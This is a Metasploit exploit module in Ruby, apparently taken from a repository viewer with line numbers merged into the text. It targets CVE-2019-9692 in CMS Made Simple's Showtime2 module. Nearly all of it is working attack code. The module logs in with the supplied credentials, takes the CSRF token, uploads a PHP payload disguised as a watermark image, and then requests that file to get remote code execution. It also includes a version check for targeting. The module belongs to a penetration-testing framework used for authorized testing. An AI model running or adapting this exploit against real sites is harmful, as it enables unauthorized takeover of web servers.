Path: blob/master/modules/exploits/multi/http/cmsms_showtime2_rce.rb
19850 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::FileDropper1011def initialize(info = {})12super(13update_info(14info,15'Name' => "CMS Made Simple (CMSMS) Showtime2 File Upload RCE",16'Description' => %q{17This module exploits a File Upload vulnerability that lead in a RCE in18Showtime2 module (<= 3.6.2) in CMS Made Simple (CMSMS). An authenticated19user with "Use Showtime2" privilege could exploit the vulnerability.2021The vulnerability exists in the Showtime2 module, where the class22"class.showtime2_image.php" does not ensure that a watermark file23has a standard image file extension (GIF, JPG, JPEG, or PNG).2425Tested on Showtime2 3.6.2, 3.6.1, 3.6.0, 3.5.4, 3.5.3, 3.5.2, 3.5.1, 3.5.0,263.4.5, 3.4.3, 3.4.2 on CMS Made Simple (CMSMS) 2.2.9.127},28'License' => MSF_LICENSE,29'Author' => [30'Daniele Scanu', # Discovery & PoC31'Fabio Cogno' # Metasploit module32],33'References' => [34['CVE', '2019-9692'],35['CWE', '434'],36['EDB', '46546'],37['URL', 'https://forum.cmsmadesimple.org/viewtopic.php?f=1&t=80285'],38['URL', 'http://viewsvn.cmsmadesimple.org/diff.php?repname=showtime2&path=%2Ftrunk%2Flib%2Fclass.showtime2_image.php&rev=47']39],40'Platform' => 'php',41'Arch' => ARCH_PHP,42'Targets' => [['Automatic', {}]],43'Privileged' => false,44'DisclosureDate' => '2019-03-11',45'DefaultTarget' => 0,46'Notes' => {47'Reliability' => UNKNOWN_RELIABILITY,48'Stability' => UNKNOWN_STABILITY,49'SideEffects' => UNKNOWN_SIDE_EFFECTS50}51)52)5354register_options(55[56OptString.new('TARGETURI', [true, "Base CMS Made Simple directory path", '/']),57OptString.new('USERNAME', [true, "Username to authenticate with", '']),58OptString.new('PASSWORD', [false, "Password to authenticate with", ''])59]60)61end6263def do_login64res = send_request_cgi(65'method' => 'POST',66'uri' => normalize_uri(target_uri.path, 'admin', 'login.php'),67'vars_post' => {68'username' => datastore['username'],69'password' => datastore['password'],70'loginsubmit' => 'Submit'71}72)7374unless res75fail_with(Failure::Unreachable, 'Connection failed')76end7778if res.code == 30279@csrf_name = res.headers['Location'].scan(/([^?=&]+)[=([^&]*)]?/).flatten[-2].to_s80@csrf_value = res.headers['Location'].scan(/([^?=&]+)[=([^&]*)]?/).flatten[-1].to_s81@cookies = res.get_cookies82return83end8485fail_with(Failure::NoAccess, 'Authentication was unsuccessful')86end8788def upload(fname, fcontent)89# construct POST data90data = Rex::MIME::Message.new91data.add_part('Showtime2,m1_,defaultadmin,0', nil, nil, "form-data; name=\"mact\"")92data.add_part('Upload', nil, nil, "form-data; name=\"m1_upload_submit\"")93data.add_part(@csrf_value, nil, nil, "form-data; name=\"#{@csrf_name}\"")94data.add_part(fcontent, 'text/plain', nil, "from-data; name=\"m1_input_browse\"; filename=\"#{fname}\"")9596res = send_request_cgi(97'method' => 'POST',98'uri' => normalize_uri(target_uri, 'admin', 'moduleinterface.php'),99'ctype' => "multipart/form-data; boundary=#{data.bound}",100'data' => data.to_s,101'headers' => {102'Cookie' => @cookies103}104)105106unless res107fail_with(Failure::Unreachable, 'Connection failed')108end109110if res.code == 200 && (res.body =~ /#{Regexp.escape(fname)}/i || res.body =~ /id="showoverview"/i)111return112end113114print_warning('No confidence in PHP payload success or failure')115end116117def check118res = send_request_cgi(119'method' => 'GET',120'uri' => normalize_uri(target_uri.path, 'modules', 'Showtime2', 'moduleinfo.ini')121)122123unless res124vprint_error 'Connection failed'125return CheckCode::Unknown126end127128if res.code == 200129module_version = Rex::Version.new(res.body.scan(/^version = "?(\d\.\d\.\d)"?/).flatten.first)130if module_version < Rex::Version.new('3.6.3')131# Showtime2 module is uploaded and present on "Module Manager" section but it could be NOT installed.132vprint_status("Showtime2 version: #{module_version}")133return Exploit::CheckCode::Appears134end135end136137return Exploit::CheckCode::Safe138end139140def exploit141unless Exploit::CheckCode::Appears == check142fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')143end144145@csrf_name = nil146@csrf_value = nil147@cookies = nil148149do_login150151# Upload PHP payload152fname = "#{rand_text_alphanumeric(3..9)}.php"153fcontent = "<?php #{payload.encode} ?>"154print_status('Uploading PHP payload.')155upload(fname, fcontent)156157# Register uploaded PHP payload file for cleanup158register_files_for_cleanup('./' + fname)159160# Retrieve and execute PHP payload161print_status("Making request for '/#{fname}' to execute payload.")162send_request_cgi(163{164'method' => 'GET',165'uri' => normalize_uri(target_uri.path, 'uploads', 'images', fname)166},16715168)169end170end171172173